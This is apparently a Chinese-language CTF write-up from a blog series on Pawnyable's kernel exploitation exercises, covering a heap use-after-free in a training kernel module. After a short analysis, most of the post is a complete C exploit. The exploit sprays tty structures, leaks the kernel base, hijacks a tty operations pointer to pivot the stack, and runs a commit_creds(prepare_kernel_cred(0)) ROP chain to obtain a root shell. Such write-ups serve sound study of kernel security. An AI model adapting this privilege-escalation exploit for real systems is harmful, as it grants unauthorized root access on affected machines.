前言 本篇博客为Pawnyable第三个专题——内核堆UAF漏洞的利用。
题目分析 依旧是保护全开
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ -no-reboot \ -cpu qemu64,+smap,+smep \ -smp 1 \ -monitor /dev/null \ -initrd rootfs.cpio \ -net nic,model=virtio \ -net user
分析一下vuln.ko
程序整体逻辑依旧不难,这次修复了内核堆上的越界写和越界读。g_buf为open时创建,大小为1024,在close时free掉,这里存在UAF漏洞,在close之后g_buf全局变量依旧保存有内核堆的引用。
攻击思路 因为UAF堆块的大小为1024,依旧可以考虑tty结构体的劫持。通过栈迁移的gadget将内核栈迁移到提前布置的rop上打krop。 这里笔者直接给出完整攻击脚本,与上一个专题的payload大致相似。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 # include </home/keyboard/ctf/tricks/kernelpwn.h> #define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m" #define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m" #define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m" #define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERROR_MSG(msg)) size_t prepare_kernel_cred,commit_creds;void get_kallsyms_addr () { FILE* sym_table_fd = fopen("/proc/kallsyms" , "r" ); if (sym_table_fd < 0 ) { printf ("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n" ); exit (-1 ); } char buf[0x50 ], type[0x10 ]; size_t addr; while (fscanf (sym_table_fd, "%llx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n" , prepare_kernel_cred); continue ; } } }void exploitation (void ) { int fd1,fd2; save_status(); fd1 = open("/dev/holstein" , O_RDWR); fd2 = open("/dev/holstein" , O_RDWR); if (fd1==-1 || fd2==-1 ){ log_error("error open" ); } close(fd1); int tty_spray[256 ]; for (int i=0 ;i<256 ;i++){ tty_spray[i] = open("/dev/ptmx" ,O_RDONLY|O_NOCTTY); if (tty_spray[i]==-1 ){ log_error("error tty spray" ); } } char buf[0x500 ]; commit_creds = 0xffffffff810723c0 ; prepare_kernel_cred = 0xffffffff81072560 ; read(fd2,buf,0x400 ); size_t vmlinux_leak =commit_creds+0xffffffff95039c60 -0xffffffff944723c0 ; kernel_offset = *(size_t *)&buf[0x18 ]- vmlinux_leak; kernel_base += kernel_offset; size_t g_buf = *(size_t *)&buf[0x38 ]-0x38 ; printf ("kernel base is %p\n" ,kernel_base); printf ("g_buf is %p\n" ,g_buf); size_t pop_rdi = kernel_offset+0xffffffff8114078a ; size_t mov_rdi_rax = kernel_offset+0xffffffff81638e9b ; size_t pop_rcx = kernel_offset+0xffffffff810eb7e4 ; size_t push_rdx_pop_rsp_rbp = kernel_offset+0xffffffff8114fbea ; size_t swapgs_restore_regs_and_return_to_usermode = kernel_offset+0xffffffff81800e10 +0x16 ; commit_creds+=kernel_offset; prepare_kernel_cred+=kernel_offset; size_t * rop_chain = buf; *rop_chain++=pop_rdi; *rop_chain++=0 ; *rop_chain++=prepare_kernel_cred; *rop_chain++=pop_rcx; *rop_chain++=0 ; *rop_chain++=mov_rdi_rax; *rop_chain++=commit_creds; *rop_chain++=swapgs_restore_regs_and_return_to_usermode; *rop_chain++=*(size_t *)"keyboard" ; *rop_chain++=*(size_t *)"keyboard" ; *rop_chain++=get_root_shell; *rop_chain++=user_cs; *rop_chain++=user_rflags; *rop_chain++=user_sp+8 ; *rop_chain++=user_ss; *(size_t *)&buf[0x300 +12 *8 ]=push_rdx_pop_rsp_rbp; write(fd2,buf,0x400 ); log_info("write ropchain" ); int fd3,fd4; fd3 = open("/dev/holstein" , O_RDWR); fd4 = open("/dev/holstein" , O_RDWR); close(fd3); int tty_spray_2[100 ]; log_info("spray tty again" ); for (int i=0 ;i<100 ;i++){ tty_spray_2[i] = open("/dev/ptmx" ,O_RDONLY|O_NOCTTY); if (tty_spray_2[i]==-1 ){ log_error("error tty spray" ); } } char fake_tty[0x20 ]; read(fd4,fake_tty,0x20 ); *(size_t *)&fake_tty[0x18 ]=g_buf+0x300 ; write(fd4,fake_tty,0x20 ); log_info("try to trigger tty" ); for (int i=0 ;i<100 ;i++){ ioctl(tty_spray_2[i],0 ,g_buf-8 ); } }int main (int argc, char ** argv) { exploitation(); return 0 ; }